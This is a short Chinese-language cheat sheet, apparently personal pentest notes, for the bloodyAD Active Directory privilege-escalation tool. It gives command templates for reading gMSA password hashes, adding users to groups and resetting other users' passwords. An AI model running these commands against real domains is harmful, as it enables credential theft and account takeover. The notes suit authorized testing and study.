【AD】bloodyAD

GitHub - CravateRouge/bloodyAD: BloodyAD is an Active Directory Privilege Escalation Framework

使用指南：User Guide · CravateRouge/bloodyAD Wiki · GitHub

1. 常用

1.1. 读取gMSA密码

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get object $TargetObject --attr msDS-ManagedPassword

Pasted image 20250628160347
执行后即可获取到组托管服务账号的hash

1.2. 添加用户到组

#添加用户
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" add groupMember "$TargetGroup" "$TargetUser"

#查询指定用户的membership，可以用于检测是否添加成功
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" get membership "$TargetUser"

Pasted image 20250628152426

1.3. 修改用户密码

bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"

Pasted image 20250628162311